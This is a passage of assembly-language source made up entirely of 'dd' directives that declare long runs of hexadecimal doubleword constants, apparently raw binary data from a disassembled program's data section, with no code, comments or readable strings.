25A4B0E9h, 0D9D55B06h, 39109379h dd 552828F4h, 0BE060BB8h, 406024C9h, 74BB98B7h, 91649725h dd 0C6CD81A4h, 3AECBB2Eh, 0F33F1AEAh, 0EC4199B5h, 0C0827h dd 70260760h, 0B539A8Fh, 0B0317E4Bh, 3980B493h, 3E1F5E25h dd 4201AB45h, 2A0E71FEh, 0E1ADA50Dh, 74ADA098h, 83E461C1h dd 8DD88AE6h, 0B8F24826h, 23F02E93h, 363D0141h, 20BAF115h dd 87480184h, 8C65F850h, 0A6F2581Eh, 8854688Ah, 87712808h dd 0A07A4012h, 0A0E7518Fh, 7D77913h, 0CA34A20Bh, 652C4040h dd 0E0E681AAh, 0D77C95D5h, 0AC884998h, 5200B448h, 5CF75198h dd 6BD90Fh, 80B595EEh, 0F547CBEDh, 46C33009h, 0E4DC4D90h dd 0A2A88079h, 0F0A2EF8Bh, 5100E45Ah, 0D83902A0h, 0B46BA64Ch dd 830E11ECh, 0D265AF3Dh, 0F944703h, 5460052Ch, 44F1C071h dd 2B00F4BEh, 6BA3CBF9h, 7AC4E209h, 1C35170Ah, 0D438906Dh dd 0DAEE0D93h, 0CCB60800h, 84E24E91h, 3CC0BA35h, 86C001DBh dd 10B86654h, 63B0DE78h, 0EBFDCE0Eh, 0ACE800F9h, 2DDF68Bh dd 0CC2C0A2Fh, 0F071CBD0h, 601971D9h, 9C1D4D9Eh, 9DB91FF5h dd 18890791h, 0DCA860A0h, 0DC944815h, 1640D18Eh, 47149E82h dd 0D305A000h, 0B9A1EDCh, 0F1C782Eh, 747904E5h, 0B8B4B66Fh dd 6BCFB004h, 0F2BCA2D9h, 0FB36307Ch, 46BD0A00h, 0DA8A4CEFh dd 0B4535959h, 5B2CE20Bh, 9E11AC9Fh, 0E405FA9Fh, 98C0AEF3h dd 35245A20h, 618F085Eh, 5C855D5h, 4BA42C55h, 0F20E8C01h dd 74209801h, 61609EB1h, 519CD9BEh, 0C83B53ECh, 194C84F6h dd 0A4B42A54h, 1D864F00h, 32DDBEA9h, 0B7F200E1h, 36A60AF1h dd 64A0DE40h, 0A348D551h, 385920h, 0FD41E96Dh, 4272A426h dd 5AD3896Ch, 126404C0h, 0AF4BEA5Eh, 51FE81C2h, 0A8A685ECh dd 4F6C8185h, 5E343D46h, 0EF863820h, 1DE0098h, 0F97BE731h dd 0C4014F48h, 0E65163A6h, 0E03C1330h, 0ED076D07h, 0F3D964DDh dd 461820E4h, 0FA24136Bh, 0F8381084h, 0FA1C010Eh, 0EA4177E8h dd 0F9922070h, 1E9EC3Ah, 0E73C317Ah, 5171D164h, 0C3CBC810h dd 974B00F5h, 1ED1E46h, 3A05298Dh, 10E50C0Bh, 148CD8B0h dd 482E86FAh, 8C7DB8h, 0F72324A1h, 2C373415h, 3A6DD82Dh dd 16B441B4h, 0AC2F6318h, 164C8B17h, 6B2C0030h, 80160DACh dd 5511C8E2h, 0DA2FEC1Ch, 64D12032h, 13185759h, 88AB7100h dd 676CD774h, 269D044Fh, 0B952F6ACh, 48407F44h, 10A8B3C8h dd 8CA1E80Eh, 677DA700h, 32B4DE06h, 0AC953098h, 65FF7521h dd 0A412011Ch, 17BAA3C2h, 0CC48091h, 4E6FFBh, 0AD5062E7h dd 0D81A7203h, 2605B49h, 51EC3C3Fh, 3594E06Dh, 62F09C5h dd 7830F658h, 9676C332h, 0FE595C9Ch, 24EE0118h, 11163823h dd 197B00A8h, 46A66894h, 0ED58042Bh, 0A039F9D5h, 0CCB26AC0h dd 4871A8B1h, 7B003C18h, 0D2350A59h, 275CF1BEh, 0AC1DB270h dd 97809E11h, 954A8E84h, 5319AD60h, 0B7FEBFC7h, 0B849D700h dd 4B01A88Eh, 241BC92Fh, 0CC6896DBh, 0F2305EC4h, 3048E2C8h dd 0D6288A9Bh, 220B84Bh, 0EF060046h, 1225FE78h, 0FC490908h dd 0FB2A02B8h, 532C5758h, 772C58F0h, 57F20700h, 2752D90Dh dd 69F0B4B7h, 0AEAD0A82h, 60848C5Bh, 84915E26h, 0D468BFC1h dd 1CE1CC56h, 0DF8CC88Bh, 3820D70Ch, 2D2A7946h, 481D88B9h dd 0CF806491h, 88F6ECA3h, 80B4944Ch, 0AB43EFA5h, 241E00B0h dd 1B39765h, 0AF390B5Eh, 0C30DAC0h, 3020F513h, 319058C8h dd 0C01750B3h, 6008FED8h, 51F8059h, 7304F63Eh, 6106D67Bh dd 58D80C65h, 30706321h, 0D8FD1E53h, 3D000650h, 73264024h dd 0FFD75F98h, 40B83C79h, 2F49D8ACh, 0B3EB838h, 0D393CAB1h dd 32F6BC90h, 7F4ADC00h, 1651F77Ah, 0A7E0ADh, 0C73B6B17h dd 88E03FBAh, 8290191Eh, 164CAA42h, 0E9C85456h, 4964B445h dd 0A02CC60h, 0D80003B0h, 3582E4Fh, 7FBE08FAh, 0DA0E0938h dd 14909F2Dh, 0B404F761h, 5315D334h, 7DEC8CA8h, 28AE08Ch dd 983BB7B4h, 3D4228F5h, 0FB121064h, 0F08E7A1Ah, 0FDC16488h dd 0B5C4F791h, 0EC241837h, 0FF19587Ch, 2A60E2Ch, 0B188931h dd 1C2F4870h, 5306E2D7h, 0BEE6020Dh, 0EC8B8F70h, 38009CB5h dd 0BA9CCD25h, 500E2AC3h, 79CC9990h, 64F1858h, 0E6AAE527h dd 0AD4B194Ch, 8AE5440h, 4A28082h, 0A4CC9E35h, 6F10C26Ch dd 0CFF65B20h, 4BD97230h, 0F378800Dh, 0E4EA7D25h, 0DEAB3F00h dd 34A2CC16h, 0EC723D56h, 1D51798Eh, 0F6EDA043h, 61734EE1h dd 76E1DCh, 4EDDD870h, 1F2491A7h, 94120456h, 4AB2D8A2h dd 0A25730h, 9B6646C8h, 0FBC9A5F7h, 99F498C0h, 0D6AC712Ah dd 8D4D568h, 56C009D4h, 4BF530ADh, 33F42C37h, 0B8AD5E00h dd 26F8A9C6h, 0C842F903h, 0C458475Dh, 0C2806059h, 2F97712h dd 4730F5E4h, 58D19057h, 161843D1h, 0D7DD7B1Ch, 48710C1Dh dd 718E3EAEh, 0C6A73FE2h, 0A9FDE194h, 0A7FD6061h, 24E65D01h dd 90E529D6h, 77181064h, 140E8096h, 0AC2C6D09h, 0C1B4610Ah dd 13BD10C4h, 90087188h, 77C97D20h, 11A17E30h, 12AC4B66h dd 0C946D3Fh, 0A7B0D5A4h, 6C442498h, 0AD402417h, 8CD4050h dd 40E9598Fh, 0C43C4594h, 63044301h, 0CA86B64Eh, 8D4FA051h dd 9CA2B873h, 5BDC30h, 0A382F0CFh, 26BFF17Ch, 85CBF917h dd 7A309488h, 0E6210065h, 1AD9ED08h, 600425E9h, 160F91DBh dd 28D820C0h, 90E4503Ch, 0FCC7F2A1h, 0F16412C1h, 9288B010h dd 95E6A000h, 9BA837BDh, 0E7ED01F3h, 0B8E27870h, 0EFDBC0D9h dd 0C1DA40C1h, 58800A26h, 9DEDE646h, 0B217CA71h, 90CBA5CCh dd 6EC0A4C8h, 282A0FBBh, 0F3E89605h, 0A62112D3h, 2EFC20D5h dd 6A603B5Bh, 0D3D1DF9h, 925F3E60h, 19672F18h, 0D8275D5Eh dd 91B097FBh, 0CAB8804Dh, 708C9BDAh, 41AA0B3Fh, 1072CE61h dd 5AD56811h, 0E7D72A00h, 0E99234E8h, 571324FAh, 1CF7606Ah dd 85619A1h, 20688D6Dh, 1CFDBE44h, 23442F97h, 0C1E301A3h dd 78977F86h, 8C9EBC70h, 0F22DCB02h, 90335B99h, 9CA6AD0h dd 0A5E0AAACh, 0B60954D8h, 0F3A7322Ch, 0BF2170B8h, 0D1F80C03h dd 88CA64B9h, 50ACA9BEh, 9FD2B84Dh, 0F26648A4h, 307DF24Ch dd 4502A684h, 95BA8978h, 0FEC70B2h, 41D0B7A5h, 5B03AB01h dd 88C6940h, 0AC3191D5h, 56467444h, 8150F900h, 87A9038Eh dd 830158B0h, 0F1C2B69Eh dd 0D8A33FE0h, 0AB578E8h, 55055702h, 48BACA98h, 6195FE18h dd 67C829A9h, 7DF4CC25h, 0BCD8CE00h, 372AD4E0h, 0EE08BAC2h dd 0B33D1AF9h, 5474E172h, 643465Eh, 8424094Bh, 0F23F11C8h dd 2CC85AA8h, 26620185h, 0D5D905DEh, 2CF070CCh, 23C014Ch dd 0A7280454h, 1607C8Fh, 1EC33871h, 22D1824Fh, 48A7AF5Bh dd 250A130h, 0F17EEE8Eh, 0A2C1A251h, 62746160h, 0F8DA4E70h dd 8EBC9580h, 870434CEh, 0BA2C750Dh, 33C83C81h, 30CBD048h dd 0C1085267h, 18C2428Ch, 5CC6C3B6h, 2F2C12D8h, 7B2378h dd 9AED3DCh, 0A3389920h, 0C9C08462h, 18C2CC3Ah, 6D4A6051h dd 0B082ECBCh, 731C20ACh, 39287012h, 0E5156082h, 6062E424h dd 437A157h, 0D47CF761h, 2534FCB8h, 312420AEh, 5814C8EDh dd 307814F9h, 0EC7129C1h, 416653F8h, 9399988h, 0BCD02861h dd 6F6548FAh, 0D30AD421h, 467454A4h, 5B070960h, 67C8103Dh dd 8FB131F9h, 8466CE89h, 1FA37B1h, 9F94ECF0h, 0AEA2A0A0h dd 0D200AB48h, 0F882A6D6h, 0ECF0E62Eh, 0C03E4884h, 744C0049h dd 8C9CE8h, 4138D5DAh, 2857B9C7h, 0AE888912h, 3FD40F4h dd 9D462D6Fh, 94A86BFFh, 760074D9h, 0B1AEDAA7h, 2EE707h dd 9E1A90F4h, 0FFE291ECh, 30A87951h, 0D98AFE94h, 187A7910h dd 48BC0078h, 0F4BEF951h, 0AC258431h, 0ED3C2BE5h, 5E646EACh dd 5BB48150h, 200622Eh, 21F1E65Fh, 0C05841A3h, 0DD8A850h dd 8A0994Fh, 0B12988Dh, 1A36800h, 0E5CA61BAh, 0AC9061A5h dd 0B20779D3h, 220CEE87h, 0F0E3F450h, 0FB9B3D9Ch, 99600B05h dd 3B94342Ah, 5612368h, 0C8D3DDF6h, 0BA010D00h, 55C32AADh dd 8DD0A53Ah, 9B21706h, 4AD88131h, 4BF42061h, 40F0C125h dd 6E4D4090h, 0E2D28850h, 307BF2ECh, 2900EC0Dh, 8902495Dh dd 5E920FDDh, 1168001Dh, 0ED078627h, 3B48D200h, 3F52EE82h dd 0B0634CF0h, 8D076090h, 0D034FADAh, 6408B5Eh, 0E25C2E01h dd 0B045D871h, 0B47C122Ah, 0DA1F7AACh, 46C09E7Dh, 16C07CE3h dd 0FD0F00C1h, 3845BB2Eh, 609E4ECBh, 0D4DC3004h, 31CE4C8h dd 8197B7E3h, 16A8DA22h, 0F6030C05h, 682FFFAEh, 905BC119h dd 590DE8DFh, 0A9BD3EDAh, 2D985828h, 446238D8h, 4DC887Eh dd 0A9CCB674h, 3274A090h, 6F82A318h, 0C6CDEA8h, 625AC3C0h dd 0FC488810h, 1D1723ECh, 380BC410h, 20A862EEh, 5094086Eh dd 1C0080F0h, 0CBF91311h, 0F7CF7Fh, 0CD5C9B25h, 0A3A61B9Eh dd 0F6129702h, 7CB64B5Bh, 6017ADACh, 6E80A591h, 0D49FE784h dd 9C58500h, 0CCACA6ABh, 0D1D4B9AFh, 51F4199Fh, 9E5B03D5h dd 0F1CD52D3h, 0F16CF1EDh, 10D1D269h, 2E186279h, 0F44FF800h dd 0D549C88Fh, 0E3372DB5h, 296B884h, 0FCDBAACEh, 0D0AD9734h dd 683413C0h, 0F9653900h, 0F23A9116h, 9457B883h, 9E465EA4h dd 0D9FBFD00h, 20AFAAE0h, 0B607820Eh, 5858EBA3h, 18F150E8h dd 306049D8h, 9F978B00h, 0F2573E2Ch, 3001D107h, 1F00CB93h dd 0BEA8216Bh, 4009048Ch, 803CACDEh, 61A135A2h, 7870010h dd 0F4FBA60h, 0B70BB0A6h, 5BF6D10Bh, 0B04C70A0h, 0B30BDA01h dd 887CB8ECh, 43D1C1FDh, 3800D445h, 0BE40EB8Fh, 602705AAh dd 0B8F4D361h, 0ED06256Ch, 0DE496060h, 0F82F61D1h, 16437A4h dd 0F9F88CCEh, 3B08C1F5h, 7A9F040Bh, 0C0FCB0BCh, 0AD326C71h dd 2849E15Eh, 0AF2E70FCh, 467400A9h, 0C04864h, 5F45D507h dd 0C24D8004h, 7EB7F378h, 465E2056h, 0A0750097h, 64C88642h dd 44EF09D1h, 74720EA6h, 586810BDh, 715400E8h, 1699C5CBh dd 4601A2E2h, 353DB43Ch, 82D0697h, 0C10209ACh, 332561A9h dd 0E820088h, 0D70C1667h, 0E04FB7F8h, 5B970234h, 6BA5DC33h dd 7140986Fh, 0D6738E1Fh, 0F2B0B281h, 923C3065h, 0A2A0D500h dd 4FA72E97h, 6FF82DE7h, 0AE249400h, 204B315Bh, 2B3BCC89h dd 13E2350h, 3A387FBCh, 8326E432h, 0E9401502h, 52AE6D2Ah dd 599B39FCh, 7980D239h, 0A5CAF45Ah, 2A4A0F5Bh, 1178A4h dd 7AD5AD40h, 7094645Ch, 8843A4B8h, 71E2D452h, 0CA3FB033h dd 4BAA00B5h, 0B7B3C15Eh, 0B0BEAEDh, 31379791h, 0B8C1E6B0h dd 4440B7Eh, 7C79BC71h, 0B03BAE18h, 8B7B02FBh, 0A055D30Eh dd 0B36F31A4h, 7C291F62h, 3DFC0FCh, 0DA0F5990h, 0B8C1E15Ah dd 6E3AFA46h, 0B4830044h, 620F3C1Fh, 3DC99CBh, 6C4018F5h dd 632AD009h, 77F41074h, 0AEA38869h, 1ABC654Ch, 0F13944ADh dd 184979E0h, 41003E4h, 7ABF3A3h, 269673B8h, 58E6A412h dd 400C80B4h, 0AA28324Ch, 0B600C409h, 0D5EEE776h, 9C385B96h dd 8DF941DCh, 30B200A2h, 0C86160E3h, 79A6CA64h, 91A4979Fh dd 0F558804Ah, 3CAB7690h, 5D85B877h, 8EACCC0Ch, 0C39F8864h dd 0D4B03206h, 2894B0A9h, 8A0EB12h, 1D225A6h, 7D11009Fh dd 32D8809Eh, 0D7C3B547h, 2871C21Ch, 7CE3AC92h, 953062B2h dd 0ACE45023h, 6A9E402Dh, 41540110h, 0CA80F339h, 6D97E804h dd 66E3CEE1h, 2A0E09ACh, 0DB94215Dh, 2E20DF03h, 7BC4A2ADh dd 14750ECh, 6D162A00h, 759CC792h, 4F105DAh, 0C3A879F9h dd 502D5FB9h, 60DC4D52h, 8EB2902Ch, 80F6D81Fh, 0C4045E03h dd 0FAC90865h, 11029995h, 0D1B460F6h, 12770724h, 0A01F96Fh dd 43FCD7B1h, 63F1EBD2h, 0E8566EAAh, 81534C08h, 8C8429D3h dd 8B2A1Ah, 0A9C771C8h, 9A63EBB0h, 0E09C00EEh, 51818292h dd 86049FE7h, 0A129DB4Fh, 0FC58C0E2h, 278C61B8h, 0F4C0EE1Fh dd 22849B55h, 0BF25538Ch, 0F8441Dh, 0C36307FDh, 0CEC2763Dh dd 86593E00h, 0C6C73219h, 564E09E4h, 2CF137D4h, 8500C0A6h dd 19F63108h, 0CDF12A1h, 6D00AA9Ah, 590B35F5h, 0AA09041Ah dd 0AAC57768h, 0CA12146Eh, 8BD413B3h, 0C056C8D4h, 6ECB8E9h dd 0AB3E7F04h, 74CEF4BAh, 96C048C8h, 4DC60Fh, 49F3C2C3h dd 5B343D44h, 7B303E49h, 7AF3520h, 8F0230D8h, 0D262C193h dd 4C3A2AACh, 8F004D23h, 0C663D3C9h, 45330029h, 0AA03D6B7h dd 642A0966h, 0D73EB041h, 0CB4BC4h, 0F7C056C8h, 16DA8463h dd 13A96492h, 2C9CD28Ah, 68588C73h, 402900BDh, 0B6728651h dd 21C043AEh, 2325B321h, 4E4A1C0Fh, 41C4C102h, 0CCCB127Bh dd 2A06A15Ch, 0A2F616Ah, 897BD80h, 0DF817B91h, 0D582AA70h dd 0DC8CE9BDh, 85B5CDD8h, 7C820E20h, 0D92F20B6h, 0F029F218h dd 45D9D093h, 0D6091118h, 0A58DA591h, 0C4B6DFACh, 0A3CC7CE0h dd 3B316B1Fh, 4120CF6Fh, 0F47A3972h, 0FA586AC9h, 26B30035h dd 771B29A2h, 80D82E4Ah, 18142D0Dh, 848F0C29h, 3C830F11h dd 3BD256AFh, 2D113F31h, 0A59EC04h, 4EBD9805h, 50A90D61h dd 0AC09C282h, 1D6540DBh, 0B30640A0h, 13827070h, 5168C062h dd 18E6008Eh, 8F5AA7C4h, 54C1689Bh, 0F91D34F1h, 0B0D8F466h dd 0B480558Ah, 0B3E75A7Dh, 3FB986F1h, 28D97C04h, 5A80BB54h dd 65A42105h, 0F8DE008Fh, 0B4905062h, 0F03F2569h, 0E9D870A4h dd 0C03C28h, 85515765h, 0C50CD4B2h, 0ACD36149h, 0FD94CF0Ch dd 0A2C2EE9Eh, 9053D2A9h, 6995B6E8h, 44CD5972h, 0ABF2D8C2h dd 0A5DCC62Ch, 607DC4C8h, 0A84768Dh, 0D99FBDDEh, 4546D6CCh dd 73E7C900h, 4E71B66Bh, 0BC8C0758h, 84028C64h, 933EF01Bh dd 507C8095h, 1A3B7E8h, 61FB3B9h, 0EF7A0B68h, 2F3494A8h dd 369A4401h, 0BBDE51A9h, 23002F2Fh, 0B4CE0461h, 0E6CF4D3h dd 3C61E3Ah, 0C2CBFEDAh, 6798F814h, 3DD80402h, 34F0424h dd 0BCA95E10h, 0C101A4A8h dd 2F5B53ADh, 0A38C5427h, 35152764h, 1DF98014h, 523E2E1Eh dd 9625ABF2h, 0D9DC0159h, 1053A7Ch, 4EF98F7Ch, 3150F50Fh dd 16CF5A4h, 0BC3C1AADh, 0EB345509h, 4FB960A2h, 5644F8C7h dd 0F36E5A60h, 68245BB0h, 0B109A0EAh, 8114C8A5h, 0D1D30FC3h dd 4CA24DF6h, 0B32344AFh, 86E298EAh, 0E1940F64h, 14EF4A6Fh dd 0EDEB43E0h, 1125B06h, 0CCAD2B7Fh, 9B4B79ACh, 8C20B020h dd 93D48061h, 4854D770h, 8700A6D8h, 4DD55170h, 4F57F8D8h dd 0A27C6545h, 309CB234h, 0E20075E5h, 0A318F295h, 974C290Bh dd 81878830h, 946B2B4Eh, 3A802C58h, 0C1846F6h, 0AA841A0Ah dd 80124DAh, 0FEEB42ABh, 5C7D3ECh, 4E3502A6h, 0E048B673h dd 78E78EF2h, 49C24B63h, 6402C3A0h, 0F400ABADh, 0B460E420h dd 0ECB712ECh, 0BC341334h, 50CB54C4h, 44C03E88h, 3F3A5ECh dd 0AA09C47Ch, 0ABA0A017h, 892D065Bh, 0C068CDFCh, 0C27863B5h dd 0D29A0C04h, 9C886075h, 0E44541B4h, 0D8982476h, 9A137904h dd 44812AC0h, 0D831A63Ah, 4AC8680Bh, 0B1FB72C1h, 5914C4h dd 0D6FDE7B7h, 0B0E3C23Fh, 0F1BE0C02h, 76729CFCh, 7138F658h dd 0BDA10F0Eh, 49B100E8h, 5E40CF8h, 61EED72Fh, 7B9CBDD5h dd 0C115E39h, 0F946DCF1h, 128490A7h, 0A86EC290h, 83080A08h dd 465C78DDh, 0F75E0048h, 0CA8CCC90h, 64029F1Eh, 885EA46Bh dd 2C1000DCh, 0F8F5D603h, 0E09448E3h, 0AA41DA04h, 0D41D2309h dd 0D8809711h, 2510C267h, 0D78BE805h, 4A4D477h, 985F1C2Eh dd 0EBA14026h, 529642ACh, 3E819203h, 4E6808F4h, 93509B28h dd 980A1893h, 4CB3F2EAh, 0E904D886h, 0ED2661C2h, 0F912029Ch dd 72C585ADh, 5EB4BC7Ch, 9500A146h, 0C1CA8529h, 0E09059A8h dd 0F8A73A26h, 591C5B25h, 209621D7h, 8D40E1F4h, 61E80B36h dd 0B0A53E28h, 9BE02094h, 0E00FC9Dh, 1A6FF57h, 737197F9h dd 0C9B200F2h, 7A689151h, 8B7CFC3Dh, 4E04A0B2h, 2B802713h dd 0FDAC6CE9h, 3EDC9600h, 48F8DF14h, 0C04054Ah, 9282A28Ah dd 0CCE48680h, 3D017A00h, 75AC91Ah, 0FC822530h, 2B04FC41h dd 343ABC12h, 8200A323h, 7DFB7CDAh, 1C919FBAh, 0BC0C783Bh dd 0E2258C60h, 417C4894h, 33B90936h, 0EC0E6446h, 0E07AEC05h dd 94BC9464h, 48465Eh, 0D0F38362h, 124B142h, 0FC2F57FFh dd 6D8FA89Fh, 0A188C848h, 189FD18Ch, 0A42639C2h, 8E4446AEh dd 1851BB66h, 0D470A64Fh, 0BED7168Eh, 0E3D409D5h, 9053408Bh dd 30AE853h, 20009516h, 5A3330B3h, 0F07694A0h, 0D41679FCh dd 60F01D91h, 7C1D9FE6h, 0EF804211h, 10C95E99h, 40FC0295h dd 8A9054ABh, 8A9C737Eh, 0A4847FF1h, 2E01DE54h, 0DE4FD9BEh dd 22204A74h, 0A9E667A6h, 88F2C566h, 0AC0951CCh, 51BA79AAh dd 7C6D2FD4h, 989DB4C0h, 0D8B23A20h, 42E80B8Bh, 0ED973466h dd 7793C73Ch, 3B7B0011h, 2B7CF622h, 0CCD70903h, 92FD91EDh dd 90CC5E75h, 80A2D67Fh, 0A3056B2h, 0CD2F0274h, 9CC1CBD8h dd 0AB3A90A3h, 87E3CA2h, 0CE2F5B06h, 6097B7A1h, 8B803F91h dd 7F398417h, 0D8235A26h, 94FE100Ah, 94203E24h, 0A800E67Eh dd 5738340Ah, 25D261FBh, 1447BAFEh, 5C604864h, 1E0086D2h dd 96D17D5Eh, 2028D917h, 819D0B37h, 0F72A537Ch, 0ED017432h dd 573181C2h, 3AB4E951h, 0CE80ACDBh, 624F4CB0h, 0ECFA9E02h dd 82B5803Ch, 19AD75DCh, 86799FCFh, 87504130h, 0B048023Eh dd 2DF3EB22h, 1060347Ch, 1238940Dh, 0D0D4AECFh, 436B3B8h dd 0E95A2700h, 23443517h, 180AFEA3h, 78590DF3h, 45868B89h dd 986E6B13h, 37269700h, 4CD2A332h, 0D90801B5h, 1C218FB4h dd 3FB62420h, 0DA89BCB3h, 801D6FAEh, 78804D11h, 0C8BC805Eh dd 0F8009B7Ah, 0A6A5E7C4h, 0B543BFEAh, 6699D418h, 0F47F7000h dd 273C9A1Eh, 0DE5C0453h, 0F21D6488h, 0EDB2D40h, 89A1E7CBh dd 0ED4F30B0h, 0D3100DAh, 29DB4608h, 899FB875h, 58E07B3Ch dd 51016570h, 68AD7FE7h, 78DE296Eh, 0F91B0290h, 40D1227Ch dd 38083470h, 2467DD3h, 5CB4E24Fh, 57184874h, 6256B1h dd 5BC40A32h, 0BCF4A495h, 81584307h, 7AE210CCh, 47BC9AC0h dd 63A14498h, 0CC65F8C0h, 6D2832A9h, 0A476EE48h, 0F4A96693h dd 0C33ECCB9h, 0F20FB90Bh, 0B2CCE011h, 9718947Ch, 0F364A666h dd 0DF9EF058h, 81099FEh, 0F501BB0Bh, 8FA95F30h, 3C20046Eh dd 5C3BAE67h, 0B0285723h, 1440B800h, 727BA522h, 44502CA9h dd 0A303125Ch, 0AC5510E8h, 5028F404h, 0B470013Fh, 7840D80Ch dd 887392h, 3E56E220h, 50F610BCh, 84051490h, 0C206A5F2h dd 80D3E432h, 0E7A7430h, 0BC5500D7h, 78861C23h, 675EF8F5h dd 35C188C4h, 0ECE4376Dh, 5E189630h, 0BC009746h, 782C25C1h dd 86020453h, 55DB34CBh, 0D54C402Eh, 0A1F2016Dh, 0AE6A60EEh dd 49660045h, 0DB0D18F5h, 8A415EACh, 8A70F426h, 258E9B00h dd 4BF8D731h, 98C88273h, 0E277D040h, 0EC9A362Ch, 0CEE000DEh dd 0C9CF72A8h, 0FC49AA99h, 2805D3F4h, 68FCEBF6h, 33B8DD80h dd 820F71EAh, 0C7EF477Bh, 45D038F7h, 2DFD3151h, 249D2D3Dh dd 0D180A811h, 0AC8FD7Eh, 0D96FCF04h, 0B8B8A799h, 0DA135588h dd 2E5A2831h, 92821C78h, 0DB049B8Dh, 1D2D8CECh, 0F489A011h dd 0E7002B3Bh, 2F733869h, 12E467A6h, 9495E996h, 302F8770h dd 2F725626h, 0B02FDC4Bh, 0AC1DA823h, 0E06EE302h, 643E62B8h dd 0B8155950h, 0E30058B8h, 6D4999C4h, 80541A5Bh, 98804D90h dd 316B60A6h, 762BF8E7h, 19B21091h, 5E04766Ch, 0E300A146h dd 0D7077FA3h, 8E5C55B9h, 4C3D2258h, 70107006h, 0DB60135Ch dd 0F2C31032h, 0AFC8A080h, 0FCFF580Bh, 60A0275Ah, 4B30C2DEh dd 33BD58h, 0C18D539Eh, 1C625B32h, 0DCB18CB9h, 3DDC442Ch dd 0FD9C8475h, 0E9F4B990h, 3A80909h, 548CC06Fh, 664C74B8h dd 0E1C980CCh, 0EABE02F5h, 1F489E28h, 9B8B0240h, 98544324h dd 58818826h, 0D39A2FFFh, 9ED8407Fh, 0B4067705h, 400A3C12h dd 68A6A065h, 0E31238E0h, 77FF5B02h, 0DC8F6221h, 0E040F48h dd 5450076Bh, 8CD452h, 0F36D1CBEh, 0AA85CBh, 71999136h dd 63164934h, 0EDBF1925h, 72E3C0D4h, 8B011E9Fh, 82D4183Eh dd 0B0F05127h, 0E9A62564h, 0B46A0092h, 0D0520052h, 0E0E6D6DCh dd 9FD4E3A0h, 56321817h, 71317C1Fh, 29BCC061h, 0BC80B07Ch dd 56467E38h, 0A78D4700h, 0ED09CD77h, 922FC216h, 21168422h dd 707DFE5Bh, 1D488B0Ch, 24DB5A10h, 79E1A381h, 89EF348Ah dd 0CBF55A07h, 6BA01849h, 0E65BA83h, 0C1128D37h, 63EAD783h dd 0DD771100h, 0DBDE5D47h, 0D60609A8h, 0DE0CA90Bh, 5029921h dd 5657FD48h, 0A5405D9Dh, 7933EC5Fh, 0A8EB2065h, 432A85h dd 49B99C4Ah, 0D456AB6h, 9DEF5100h, 588CED19h, 3034603Fh dd 0C5EB1757h, 0F8CEBC01h, 0C8B66326h, 211C0898h, 0C500D309h dd 2102E789h, 1D602D20h, 0DE37EBB9h, 694841B8h, 0BE4B4008h dd 13FF0331h, 3896FA9h, 185CAD11h, 83F81DDDh, 4766064Bh dd 21AF08h, 5E1864C7h, 7A9317F8h, 785A881Dh, 0C81FD50Ch dd 0FA2B00D6h, 65E6C095h, 86064D1h, 0E5B58D38h, 4A7C03B9h dd 3F417A88h, 9FEB301Fh, 37AF5A08h, 0F0C038F0h, 0E9CEBBC5h dd 0F4881B18h, 35C501D7h, 40F905E9h, 0A9AF203Eh, 0EBFD148h dd 0A01CE57h, 6C1EE477h, 30636032h, 0B114C5EEh, 0E0A8E0CEh dd 0C5D5F6h, 6F24017h, 9223A3EFh, 0E57A830Ch, 794BC02Fh dd 98D33045h, 0EA5CE4C8h dd 0EC195789h, 0CE70BDC5h, 19222743h, 0C5D20A00h, 0EB401564h dd 0F209260h, 0F48FF955h, 0C0A4FA00h, 1E0A444Fh, 0E44631B8h dd 4CB4BD07h, 0D34C0449h, 7147D160h, 11BBDE23h, 0D9A5007Bh dd 0C014F847h, 785000B7h, 67BA535Ah, 0F4A883B6h, 6501D0D7h dd 0BD5D82A5h, 0F0CB1E07h, 569831CCh, 5923A869h, 0B7C5EC01h dd 744810CEh, 0D4088818h, 0EC66C503h, 9189C2A7h, 0A440163Dh dd 3019A01Eh, 7ED16912h, 6C80571Fh, 0ACB30105h, 3A749F9Ch dd 0F8DCE89Bh, 95F51109h, 0CE1C00A5h, 0C1679449h, 0AE122D98h dd 0C21883BFh, 0EEFC9229h, 0D958B1h, 0BD325960h, 8B03EA74h dd 93892BD2h, 1A0830A2h, 74B54821h, 7CE75001h, 64EBF214h dd 0C2BDA050h, 28D21EB2h, 0C0D60F66h, 0C0C0D88Ah, 0DE6E47DCh dd 7422D346h, 48049800h, 0D7FB2BB3h, 0A8EA7721h, 3029CE90h dd 11C88328h, 994122E5h, 1B88B40Eh, 0D80F39C5h, 0EB0C1044h dd 3F204D7Fh, 0D20E89DFh, 87DE0205h, 34BCAF63h, 47C29D64h dd 31E3DE70h, 0DAA2107Ah, 186A0047h, 25E920C1h, 0E0B0C76Bh dd 2431CB0Ch, 19937884h, 0C89A4A1Dh, 40302487h, 598E0315h dd 57E78F0h, 0B104CCA6h, 0B28BEE74h, 54251662h, 0EAB515C1h dd 9507CC32h, 4060D6E2h, 0BCFA2005h, 0B01FD11Fh, 28121812h dd 40455004h, 56E60601h, 0C5388036h, 6B7DBA71h, 879D135Ch dd 0D4F4320Bh, 1247D030h, 38B3DE72h, 0D800A4A8h, 6BEF8C47h dd 5DC860Ch, 41FBF56Ch, 9CB4404Ah, 79B9E452h, 0A8D00738h dd 8480B881h, 0D9C61E09h, 0D699FAEBh, 0B0BB18B0h, 18A18844h dd 0DD505256h, 3447DF30h, 4898DE5Bh, 97806F50h, 85AC4807h dd 0EB5A07B0h, 0C98CE841h, 1A91889Dh, 7E529E81h, 71B9800Ch dd 1B7D6509h, 0F2DF00D9h, 0EC06B75Fh, 1D28ED9Dh, 0D602FCB6h dd 0BDE5C9EAh, 47DC9A5Ah, 601D6420h, 0C67894h, 0E46B22A8h dd 7D69D668h, 91EDC305h, 9C1319B1h, 0C0B56C08h, 1DD11870h dd 60827721h, 0DE1858C3h, 0B0A3C414h, 0D6300FCBh, 93AFA039h dd 322605BCh, 0C088315Ch, 46C004EDh, 61757ADEh, 9EE3A027h dd 0F148663Bh, 80D34D28h, 1CB4B15Dh, 0D87AE039h, 3CD05935h dd 0C6732009h, 67300462h, 0D810B454h, 74BCC064h, 99DA8BEBh dd 0B449C080h, 0DD03AD74h, 9384D9C9h, 9A840124h, 3C1330BDh dd 15F02066h, 488D5F7h, 803314C9h, 0B8301DA2h, 5CE90183h dd 222E1311h, 1E1422D6h, 99B12140h, 60749BEBh, 36653EE0h dd 5EC0C126h, 0E0077346h, 8AF1C281h, 8363049Ch, 0DEFC8BC0h dd 76920263h, 0B08FF76Bh, 0AE6065C8h, 468BED74h, 21822AAh dd 6974A653h, 